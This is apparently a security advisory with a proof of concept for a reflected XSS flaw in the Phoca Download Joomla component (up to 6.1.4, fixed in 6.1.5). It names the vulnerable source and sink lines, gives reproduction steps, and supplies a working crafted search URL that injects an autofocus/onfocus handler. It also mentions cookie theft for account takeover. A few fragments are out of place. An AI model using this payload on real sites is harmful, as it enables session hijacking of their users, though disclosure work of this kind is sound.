toanln-cov/cve-2026-76569Reflected XSS via search GET Parameter in Phoca Download
Phoca Download ≤ 6.1.4 — Authenticated Attacker Executes Arbitrary JavaScript via Crafted Search URL in User Control Panel
Phoca Download (com_phocadownload) for Joomla contains a reflected Cross-Site Scripting (XSS) vulnerability in the User Control Panel file search functionality. The search GET parameter is processed with Joomla's 'string' filter — which calls strip_tags() only and preserves the " character — then echoed without into an HTML attribute. An attacker can inject arbitrary HTML attributes and event handlers that execute in the victim's browser upon page load, without requiring any user interaction beyond clicking a crafted link.
htmlspecialchars()<input value="">| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| com_phocadownload | ≤ 6.1.4 | Joomla 5 + PhocaDownload 6.1.4 + MariaDB 10.6 | 6.1.5 |
Type: Reflected Cross-Site Scripting (CWE-79)
Authentication required: Registered Joomla user (logged in) + User Control Panel enabled (enable_user_cp = 1)
CSRF token required: Not required — GET request, no CSRF token checked on this path
Sink file: site/views/user/tmpl/default_files_bootstrap.php
The search parameter is read using Joomla's 'string' filter, which only calls strip_tags(). This preserves the " character, allowing an attacker to break out of the value="" attribute context and inject arbitrary HTML attributes.
SITE/VIEWS/USER/VIEW.HTML.PHP:252 — SOURCE
$search_files = $app->getUserStateFromRequest(
$this->_context_files.'.search', 'search', '', 'string'
);
$search_files = StringHelper::strtolower($search_files);
$lists_files['search'] = $search_files; // stored without encoding
SITE/VIEWS/USER/TMPL/DEFAULT_FILES_BOOTSTRAP.PHP:56 — SINK (VULNERABLE)
<input type="text" name="search" id="pdsearch"
value="<?php echo $this->t['listsfiles']['search'];?>"
class="form-control" />
The sibling view phocadownloadlinkfile (same extension) correctly applies PhocaDownloadUtils::filterValue($search, 'text') — equivalent to htmlspecialchars() — for the same search field. The user view does not apply the same protection, indicating inconsistent output encoding within the extension.
Navigate to the Joomla login page and authenticate as a Registered user. After successful login, Joomla redirects to the user profile page, confirming an active session.
Navigate to the PhocaDownload User Control Panel:
http://TARGET/index.php?option=com_phocadownload&view=user
The page renders with an empty search field (value=""). This is the normal state before injection.
Navigate to the following crafted URL (or type the raw payload directly into the search box):
http://TARGET/index.php?option=com_phocadownload&view=user&search=%22%20autofocus%20onfocus%3Dalert%28document.domain%29%20x%3D
As the page loads, the injected autofocus attribute focuses the input element, immediately triggering the onfocus event handler. No further user interaction is required.
Rendered HTML (vulnerable):
<input type="text" name="search" id="pdsearch"
value="" autofocus onfocus=alert(document.domain) x="
class="form-control" />
document.cookie, enabling full account takeover without credentials.